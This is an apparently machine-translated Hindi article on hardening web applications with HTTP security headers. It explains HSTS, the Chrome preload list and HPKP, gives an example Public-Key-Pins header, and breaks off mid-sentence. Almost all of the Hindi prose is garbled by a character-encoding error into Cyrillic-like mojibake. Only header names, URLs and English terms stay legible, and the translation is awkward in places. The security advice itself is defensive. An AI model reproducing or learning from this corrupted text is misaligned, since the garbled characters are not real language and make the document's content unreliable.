HTTP рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдордЬрдмреВрдд рдХреИрд╕реЗ рдХрд░реЗрдВ

рдЫрд╡рд┐

рдпрд╣ рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рддреАрд╕рд░рд╛ рднрд╛рдЧ рд╣реИ: рджреВрд╕рд░рд╛ рднрд╛рдЧ рдерд╛ " рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛: HTTP рдХрд╛ рдПрдХ рдкрд░рд┐рдЪрдп, " рдкрд╣рд▓рд╛ " рдХреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХрд╛ рдХрд╛рдо - рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рдПрдХ рдкрд░рд┐рдЪрдп ред"

рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдЗрд╕ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдкрд┐рдЫрд▓реЗ рднрд╛рдЧреЛрдВ рдореЗрдВ рджреЗрдЦрд╛, рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рд╛рдордЧреНрд░реА рднреЗрдЬрдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP рд╣реЗрдбрд░ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ рддрдм рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рд╡реЗ рдХреИрд╕реЗ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдХреИрд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХрд┐рд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрди рдХреА рд░рдХреНрд╖рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдиреЗ рдЕрдм рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЗрдбрд░ рдХреА рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рдЬрд╛рдПред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдЙрдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВрдЧреЗ, рдпрд╣ рдмрддрд╛рддреЗ рд╣реБрдП рдХрд┐ рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡реЗ рдХрд┐рд╕ рд╣рдорд▓реЗ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рд╢реАрд░реНрд╖рдХ рдХреЗ рд▓рд┐рдП рдереЛрдбрд╝рд╛ рдЗрддрд┐рд╣рд╛рд╕ред

EDISON рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ - рд╡реЗрдм-рд╡рд┐рдХрд╛рд╕
рдкреЛрд╕реНрдЯ рдХреЛ EDISON рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЗ рд╕рдорд░реНрдерди рд╕реЗ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдХрд┐ рд░реВрд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдорд░реНрд╕ рдХреЗ рд╕рдореНрдорд╛рди рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрдЯрд┐рд▓ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рджреЛрдВ рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╕рд╛рдЭрд╛ рдХрд░рддрд╛ рд╣реИред

HTTP рд╕рдЦреНрдд рдкрд░рд┐рд╡рд╣рди рд╕реБрд░рдХреНрд╖рд╛ (HSTS)


2012 рдХреЗ рдЕрдВрдд рд╕реЗ, HTTPS рдХреЗ рд▓рд┐рдП рд╣рд░ рдЬрдЧрд╣ рд╕рдорд░реНрдердХреЛрдВ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЖрд╕рд╛рди рд╣реЛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЧреНрд░рд╛рд╣рдХ рд╣рдореЗрд╢рд╛ рд╕реНрдЯреНрд░рдХреНрдЯ рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдХреЗ рд▓рд┐рдП HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: рдмрд╣реБрдд рд╣реА рд╕рд░рд▓ рд▓рд╛рдЗрди Strict-Transport-Security: max-age=3600 рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдмрддрд╛рдПрдЧрд╛ рдХрд┐ рдЕрдЧрд▓реЗ рдШрдВрдЯреЗ (3600 рд╕реЗрдХрдВрдб) рдХреЗ рднреАрддрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрд╡реЗрджрди рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдирд╣реАрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред

рдЬрдм рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ HSTS рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрд╕ http:// URLs рдХреЛ https:// рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдЖрдЧреЗ рдЬрд╛рдиреЗ рд╕реЗ рдордирд╛ рдХрд░ рджреЗрддрд╛ рд╣реИред

рдЖрдк рдЗрд╕реЗ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ github.com/odino/wasec/tree/master/hsts рдХреЛрдб рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ README рдореЗрдВ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдЗрд╕рдореЗрдВ mkcert рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдкрдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ localhost рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрд╕рдПрд╕рдПрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ), рдФрд░ рдлрд┐рд░ https://localhost:7889 рдЦреЛрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ https://localhost:7889 ред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, 2 рд╕рд░реНрд╡рд░ рд╣реИрдВ: HTTPS, рдЬреЛ 7889 рдкрд░ рд╕реБрди рд░рд╣рд╛ рд╣реИ, рдФрд░ HTTP, рдкреЛрд░реНрдЯ 7888 ред рдЬрдм рдЖрдк рдПрдХ HTTPS рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╣рдореЗрд╢рд╛ рдЖрдкрдХреЛ рдПрдХ HTTP рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ рдЬреЛ рдХрд╛рдо рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ HSTS HTTPS рд╕рд░реНрд╡рд░ рдкрд░ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрд╕рдХреЗ рдмрдЬрд╛рдп hsts=on рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдкрдиреЗ URL рдореЗрдВ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ, рддреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬрдмрд░рджрд╕реНрддреА рд▓рд┐рдВрдХ рдХреЛ https:// рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдмрджрд▓ рджреЗрддрд╛ рд╣реИред рдЪреВрдБрдХрд┐ 7888 рдкрд░ рд╕рд░реНрд╡рд░ рдХреЗрд╡рд▓ http рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд▓рдн рд╣реИ, рдЖрдк рдПрдХ рдкреГрд╖реНрда рдХреЛ рджреЗрдЦрдирд╛ рдкрд╕рдВрдж рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ рдЬрдм рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣рд▓реА рдмрд╛рд░ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдХреНрдпреЛрдВрдХрд┐ HSTS рдиреАрддрд┐ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдирд╣реАрдВ рд╣реИ: рд╣рдорд▓рд╛рд╡рд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдХреЗ http:// рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд╣рд╛рдВ рдПрдХ рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрднреА рднреА рдЬрдЧрд╣ рдирд╣реАрдВ рд╣реИ ред рдпрд╣ рдПрдХ рдЧрдВрднреАрд░ рдореБрджреНрджрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдЪрдПрд╕рдЯреАрдПрд╕ рдкрд╣рд▓реЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдПрдХ рднрд░реЛрд╕реЗрдордВрдж рддрдВрддреНрд░ рд╣реИред рд╡рд╣ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬрд╛рдирддрд╛ рд╣реИ рдХрд┐ HTTPS рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рдж рдХреЗ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ HSTS рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХрд╛ рдПрдХ рдмрдбрд╝рд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛рдП, рдЬреЛ Chrome hstspreload.org рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░рддрд╛ рд╣реИред рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдЕрдкрдиреА рдиреАрддрд┐ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреА рд╣реЛрдЧреА рдФрд░ рдлрд┐рд░ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рдХрд░ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдлреЗрд╕рдмреБрдХ рд╕реВрдЪреА рдореЗрдВ рд╣реИред

рдЫрд╡рд┐

рдЕрдкрдиреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдЗрд╕ рд╕реВрдЪреА рдореЗрдВ рд╕рдмрдорд┐рдЯ рдХрд░рдХреЗ, рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ рдмрддрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдПрдЪрдПрд╕рдЯреАрдПрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рддрд╛рдХрд┐ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдФрд░ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рдкрд╣рд▓реА рдмрд╛рддрдЪреАрдд рднреА рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛред рд▓реЗрдХрд┐рди рдпрд╣ рдорд╣рдВрдЧрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдЪрдПрд╕рдЯреАрдПрд╕ рдореЗрдВ рднрд╛рдЧ рд▓реЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрджрд┐, рдХрд┐рд╕реА рднреА рдХрд╛рд░рдг рд╕реЗ, рдЖрдк рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рд╕реВрдЪреА рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ рдпрд╣ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рди рдХрд╛рдо рдирд╣реАрдВ рд╣реИ:
рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдкреНрд░реАрд▓реЛрдб рд╕реВрдЪреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдП рдЬрд╛рдиреЗ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд░рджреНрдж рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдбреЛрдореЗрди рд╣рдЯрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ Chrome рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рдорд╣реАрдиреЛрдВ рд▓рдЧ рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╣рдо рдЕрдиреНрдп рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рдЧрд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рд╕реВрдЪреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХрд╛ рдЕрдиреБрд░реЛрдз рди рдХрд░реЗрдВ рдпрджрд┐ рдЖрдк рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдирд╣реАрдВ рд╣реИрдВ рдХрд┐ рдЖрдк рдЕрдкрдиреА рдкреВрд░реА рд╕рд╛рдЗрдЯ рдХреЗ рд▓рд┐рдП HTTPS рдФрд░ рдЙрд╕рдХреЗ рд╕рднреА рдЙрдк-рдбреЛрдореЗрди рдХрд╛ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
- рд╕реНрд░реЛрдд: https://hstspreload.org/
рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рджрд╛рддрд╛ рдпрд╣ рдЧрд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗ рд╕рдХрддрд╛ рдХрд┐ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдХреЛ рд╕реВрдЪреА рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдзреНрдпрд╛рди рд╕реЗ рд╕реЛрдЪреЗрдВ рдФрд░ рдПрдЪрдПрд╕рдЯреАрдПрд╕ рдореЗрдВ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХреА рдЖрдкрдХреА рдбрд┐рдЧреНрд░реА рдФрд░ рд▓рдВрдмреЗ рд╕рдордп рдореЗрдВ рдЗрд╕реЗ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреА рдЖрдкрдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдирд┐рд░реНрдгрдп рд▓реЗрдВред

HTTP рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдкрд┐рдирд┐рдВрдЧ (HPKP)


HTTP рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдкрд┐рдирд┐рдВрдЧ рдПрдХ рддрдВрддреНрд░ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдпрд╣ рдмрддрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░ рдПрд╕рдПрд╕рдПрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреМрди рд╕реА рдЙрдореНрдореАрдж рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╢реАрд░реНрд╖ рд▓реЗрдЦ HSTS рдХреА рддрд░рд╣ рдкрд╣рд▓реЗ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЯреНрд░рд╕реНрдЯ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдмрд╛рдж рдХреА рдмрд╛рддрдЪреАрдд рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЬрд╛рдирдХрд╛рд░реА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред рдпрджрд┐ рдХреБрдЫ рдмрд┐рдВрджреБ рдкрд░ рдЧреНрд░рд╛рд╣рдХ рдХреЛ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдПрдХ рдЕрд▓рдЧ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рд╡рд┐рдирдореНрд░рддрд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░ рджреЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ "рдордзреНрдп рдореЗрдВ рдЖрджрдореА" рд╣рдорд▓реЛрдВ (MITM) рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдирд╛ рдмрд╣реБрдд рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред

рдпрд╣рд╛рдВ рдПрдЪрдкреАрдХреЗрдкреА рдиреАрддрд┐ рдХреНрдпрд╛ рд╣реИ:

 Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect" 

рд╣реЗрдбрд░ рдпрд╣ рдШреЛрд╖рдгрд╛ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдХрд┐рд╕ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЙрдирдореЗрдВ рд╕реЗ рджреЛ) рдкреНрд░рдорд╛рдг рдкрддреНрд░ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдФрд░ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдЬреАрд╡рдирдХрд╛рд▓ ( max-age = 3600 ) рдФрд░ рдХрдИ рдЕрдиреНрдп рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЧрд╣рд░реА рдЦреБрджрд╛рдИ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рдорддрд▓рдм рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╣рдо рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдХреНрд░реЛрдо рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ - рдПрдХ рд╕рдВрдХреЗрдд рд╣реИ рдХрд┐ рдЗрд╕рдХреА рдЧреЛрдж рд╡рд┐рдлрд▓рддрд╛ рдХреЗ рд▓рд┐рдП рдмрд░реНрдмрд╛рдж рд╣реИред

Chrome рдХрд╛ рд╕рдорд╛рдзрд╛рди рддрд░реНрдХрд╣реАрди рдирд╣реАрдВ рд╣реИ, рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рд╕реЗ рдЬреБрдбрд╝реЗ рдЬреЛрдЦрд┐рдореЛрдВ рдХрд╛ рдПрдХ рдкрд░рд┐рдгрд╛рдо рд╣реИред рдпрджрд┐ рдЖрдк рдЕрдкрдирд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЦреЛ рджреЗрддреЗ рд╣реИрдВ рдпрд╛ рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдмрд╕ рдПрдХ рдЧрд▓рддреА рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкрд▓рдмреНрдз рд╣реЛрдЧреА рдЬреЛ рд╕рд╛рдЗрдЯ рдкрд░ рдЧрдП рд╣реИрдВ ( max-age рдирд┐рд░реНрджреЗрд╢ рдХреА рд╡реИрдзрддрд╛ рдЕрд╡рдзрд┐ рдХреЗ рджреМрд░рд╛рди, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рд╕рдкреНрддрд╛рд╣ рдпрд╛ рдорд╣реАрдиреЗ рд╣реИ)ред

рдЗрди рд╕рдВрднрд╛рд╡рд┐рдд рднрдпрд╛рд╡рд╣ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдЪрдкреАрдХреЗрдкреА рдЧреЛрдж рд▓реЗрдирд╛ рдмрд╣реБрдд рдХрдо рдерд╛, рдФрд░ рдРрд╕реЗ рд╕рдордп рдереЗ рдЬрдм рдмрдбрд╝реА рд╡реЗрдмрд╕рд╛рдЗрдЯреЗрдВ рдЧрд▓рддрдлрд╣рдореА рдХреЗ рдХрд╛рд░рдг рдЕрдиреБрдкрд▓рдмреНрдз рдереАрдВ ред рдЙрдкрд░реЛрдХреНрдд рд╕рднреА рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдХреНрд░реЛрдо рдиреЗ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдХрд┐ 